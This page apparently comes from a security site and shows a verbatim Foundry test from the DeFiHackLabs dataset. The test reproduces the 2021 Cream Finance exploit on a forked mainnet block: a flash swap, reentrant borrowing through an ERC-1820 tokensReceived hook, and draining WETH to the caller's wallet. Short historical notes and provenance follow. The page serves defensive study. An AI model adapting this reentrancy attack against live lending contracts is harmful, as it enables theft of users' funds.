Public reproduction file

src/test/2021-08/Cream_exp.sol

Public reproduction file for the historical Cream Finance incident (2021-08-30). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code Contracts Transactions

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-08/Cream_exp.sol78 lines

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    AMP amp = AMP(0xfF20817765cB7f73d4bde2e66e067E58D11095C2);
10 
11    IERC1820Registry ierc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
12 
13    bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH =
14        0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a;
15 
16    Uni_Pair_V2 uni = Uni_Pair_V2(0xd3d2E2692501A5c9Ca623199D38826e513033a17);
17 
18    address constant WTH9_AMP_Pair_Address = 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293;
19    address constant uin_WTH9_Pair_Address = 0xd3d2E2692501A5c9Ca623199D38826e513033a17;
20 
21    WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
22 
23    crETH creth = crETH(0xD06527D5e56A3495252A528C4987003b712860eE);
24 
25    crAMP cramp = crAMP(0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6);
26 
27    Uni_Router_V2 unirouterv2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
28    address constant UniswapV2Router02_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
29    address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE;
30 
31    address public mywallet;
32 
33    address[] path = [0xfF20817765cB7f73d4bde2e66e067E58D11095C2, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2];
34    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 
36    function setUp() public {
37        cheats.createSelectFork("mainnet", 13_125_070); // fork mainnet at block 13125070
38    }
39 
40    function test() public {
41        payable(address(0)).transfer(address(this).balance);
42        ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
43 
44        mywallet = msg.sender;
45        uni.swap(0, 500 * 1e18, address(this), "0x00");
46        emit log_named_uint("Exploit completed, WETH Balance", weth.balanceOf(mywallet));
47    }
48 
49    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
50        weth.withdraw(500 * 1e18);
51        creth.mint{value: 500 * 1e18}();
52        creth.borrow(1 * 1e18);
53        cramp.accrueInterest();
54        cramp.borrow(19_480_000_000_000_000_000_000_000);
55        weth.deposit{value: address(this).balance, gas: 40_000}();
56        amp.approve(UniswapV2Router02_address, 19_480_000_000_000_000_000_000_000_000);
57        unirouterv2.swapExactTokensForTokens(
58            19_480_000_000_000_000_000_000_000, 1, path, address(this), block.timestamp
59        );
60        weth.transfer(uin_WTH9_Pair_Address, 502 * 1e18);
61        weth.transfer(mywallet, weth.balanceOf(address(this)));
62    }
63 
64    function tokensReceived(
65        bytes4 functionSig,
66        bytes32 partition,
67        address operator,
68        address from,
69        address to,
70        uint256 value,
71        bytes calldata data,
72        bytes calldata operatorData
73    ) external {
74        crETH(crETH_Address).borrow(354 * 1e18);
75    }
76 
77    receive() external payable {}
78}

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Cream Finance incident dated 2021-08-30. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

Review privileged entry points
Limit what external coin can be pulled without intent checks
Pause or migrate when a class of bug is public

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2021-08/PolyNetwork_exp.solSame month in the dataset · 206 lines
src/test/2021-08/Popsicle_exp.solSame month in the dataset · 263 lines
src/test/2021-08/WaultFinance_exp.solSame month in the dataset · 103 lines
src/test/2021-08/XSURGE_exp.solSame month in the dataset · 74 lines
src/test/2021-10/Cream_2_exp.solSame protocol or name in the dataset · 350 lines

Also imports external libraries: forge-std/Test.sol.

File record

Name: Cream Finance
Path: src/test/2021-08/Cream_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 55a7e42592ebeb4658f80335a952d058d0595ec1
Language: Solidity
Size: 79 lines
Date: 2021-08-30
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2021-08/Cream_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 55a7e42592ebeb4658f80335a952d058d0595ec1, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.